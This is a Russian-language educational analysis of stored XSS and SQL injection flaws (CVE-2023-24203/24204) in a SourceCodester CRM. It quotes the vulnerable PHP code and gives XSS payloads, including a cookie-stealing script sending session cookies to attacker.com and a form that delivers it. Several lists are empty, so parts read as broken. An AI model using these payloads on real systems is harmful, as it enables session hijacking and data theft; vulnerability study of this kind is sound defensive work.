
# Образовательный анализ CVE-2023-24203 (хранимая XSS) и CVE-2023-24204 (SQL-инъекция) в SourceCodester CRM, с шагами эксплуатации и стратегиями смягчения последствий.
В постоянно развивающемся ландшафте кибербезопасности веб-приложения остаются главной целью для злоумышленников, стремящихся использовать уязвимости. Недавно в SourceCodester Simple Customer Relationship Management (CRM) System v1.0 были обнаружены две критические уязвимости: CVE-2023-24203 и CVE-2023-24204. Эти уязвимости, связанные с межсайтовым скриптингом (XSS) и SQL-инъекциями, представляют значительные риски, включая выполнение произвольного кода и несанкционированный доступ. Понимание этих уязвимостей и их последствий необходимо разработчикам и специалистам по безопасности для защиты систем от потенциальных угроз.
Межсайтовый скриптинг (XSS) — это тип уязвимости, который возникает, когда веб-приложение позволяет пользователям внедрять вредоносные скрипты на веб-страницы, просматриваемые другими пользователями. Это может привести к несанкционированным действиям от имени пользователя, краже данных и дальнейшей эксплуатации. Уязвимости XSS можно разделить на три основных типа:
SQL-инъекция — это тип уязвимости, который возникает, когда атакующий может манипулировать SQL-запросами, внедряя произвольный SQL-код в запрос. Это может привести к несанкционированному доступу, краже данных и другим вредоносным действиям. SQL-инъекции обычно возникают из-за недостаточной проверки входных данных и отсутствия параметризованных запросов. Основные последствия SQL-инъекций включают:
В этой статье мы подробно рассмотрим CVE-2023-24203 и CVE-2023-24204, изучим особенности этих уязвимостей, векторы атак, последствия и стратегии смягчения. Глубокое понимание этих уязвимостей имеет решающее значение для защиты ваших приложений и данных от потенциальных эксплойтов.
Уязвимости SQL-инъекций часто возникают из-за недостаточной проверки входных данных и некачественных методов программирования. Некоторые распространённые причины включают:
Уязвимости межсайтового скриптинга (XSS) обычно возникают из-за неправильной обработки пользовательского ввода и вывода. Распространённые причины включают:
CVE-2023-24203 — это уязвимость хранимого межсайтового скриптинга (XSS), обнаруженная в компоненте get-quote.php системы SourceCodester Simple Customer Relationship Management (CRM) v1.0. Эта уязвимость позволяет атакующему внедрять вредоносные скрипты в параметры company и query, которые затем сохраняются в базе данных и выполняются при просмотре администратором, что приводит к выполнению произвольного кода.
Уязвимость находится в скрипте get-quote.php, который обрабатывает пользовательский ввод из формы запроса котировки. Исходный код PHP приведён ниже:
<?php
session_start();
include("dbconnection.php");
include("checklogin.php");
check_login();
error_reporting(0);
if(isset($_POST['submit']))
{
$name=$_POST['name'];
$email=$_POST['email'];
$contact=$_POST['contact'];
$company=$_POST['company'];
$services=addslashes(mysqli_real_escape_string($con, json_encode($_POST['services'])));
$other=$_POST['other'];
$query=$_POST['query'];
$pd=date('Y-m-d');
mysqli_query($con,"insert into prequest(name,email,contactno,company,services,others,query,posting_date) values('$name','$email','$contact','$company','$services','$other','$query','$pd')");
echo "<script>alert('Query received. We will contact you soon.');</script>";
echo "<script>window.location.href='get-quote.php'</script>";
}
?>
Скрипт принимает пользовательский ввод из формы (name, email, contact, company, services, other и query) и напрямую включает его в SQL-запрос для сохранения данных в базе данных. Хотя ввод services очищается с помощью mysqli_real_escape_string и addslashes, параметры company и query не очищаются и не кодируются должным образом при выводе в ответе. Отсутствие надлежащей очистки и кодирования позволяет внедрять и сохранять вредоносные скрипты в базе данных.
Чтобы эксплуатировать эту уязвимость, атакующий может создать полезную нагрузку, содержащую вредоносный JavaScript-код в параметре company или query. Когда администратор просматривает запрос котировки, внедрённый скрипт выполняется в его браузере.
Отправив следующую полезную нагрузку в параметре query:
<script>alert('XSS');</script>
Атакующий может инициировать XSS-атаку, когда администратор просматривает запрос котировки.
Можно создать более опасную полезную нагрузку для кражи сессионных cookie-файлов администратора. Используя следующую полезную нагрузку в параметре query:
<script>document.location='http://attacker.com/steal-cookie?cookie='+document.cookie;</script>
Атакующий может отправить cookie-файлы администратора на удалённый сервер, контролируемый атакующим.
Отправка вредоносного запроса котировки: Атакующий заполняет форму запроса котировки, внедряя вредоносную полезную нагрузку в поле company или query.
<form method="post" action="get-quote.php">
<input type="text" name="company" value="CompanyX"><br>
<input type="text" name="query" value="<script>document.location='http://attacker.com/steal-cookie?cookie='+document.cookie;</script>"><br>
<input type="submit" name="submit" value="Submit">
</form>